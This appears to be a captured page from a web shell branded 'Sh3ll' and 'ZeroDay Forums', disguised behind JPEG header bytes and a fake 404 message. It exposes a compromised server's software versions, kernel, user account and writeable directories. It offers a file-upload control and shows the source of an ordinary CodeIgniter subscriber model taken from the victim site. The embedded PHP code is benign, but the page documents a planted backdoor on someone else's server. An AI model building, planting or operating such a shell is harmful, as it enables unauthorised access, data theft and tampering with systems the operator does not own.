����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/adimi/application/modules/dashboard/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/adimi/application/modules/dashboard/models/Subscribers.php
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Subscribers extends CI_Model {

	public function __construct()
	{
		parent::__construct();
	}

	//customer List
	public function subscriber_list()
	{
		$this->db->select('*');
		$this->db->from('subscriber');
		$this->db->order_by('subscriber_id','desc');
		$query = $this->db->get();
		if ($query->num_rows() > 0) {
			return $query->result_array();	
		}
		return false;
	}

	//subscriber Search Item
	public function subscriber_search_item($subscriber_id)
	{
		$this->db->select('*');
		$this->db->from('subscriber');
		$this->db->where('subscriber_id',$subscriber_id);
		$query = $this->db->get();
		if ($query->num_rows() > 0) {
			return $query->result_array();	
		}
		return false;
	}


	//Count customer
	public function subscriber_entry($data)
	{
		$this->db->select('*');
		$this->db->from('subscriber');
		$this->db->where('email',$data['email']);
		$query = $this->db->get();
		if ($query->num_rows() > 0) {
			return FALSE;
		}else{
			$this->db->insert('subscriber',$data);
			return TRUE;
		}
	}


	//Retrieve customer Edit Data
	public function retrieve_subscriber_editdata($subscriber_id)
	{
		$this->db->select('*');
		$this->db->from('subscriber');
		$this->db->where('subscriber_id',$subscriber_id);
		$query = $this->db->get();
		if ($query->num_rows() > 0) {
			return $query->result_array();	
		}
		return false;
	}
	
	//Update Subscribers
	public function update_subscriber($data,$subscriber_id)
	{
		$this->db->set('email',$data['email']);
		$this->db->where('subscriber_id',$subscriber_id);
		$result = $this->db->update('subscriber',$data);

		if ($result) {
			return true;
		}
		return false;
	}


	// Delete subscriber Item
	public function delete_subscriber($subscriber_id)
	{
		$this->db->where('subscriber_id',$subscriber_id);
		$this->db->delete('subscriber'); 	
		return true;
	}

	
}

ZeroDay Forums Mini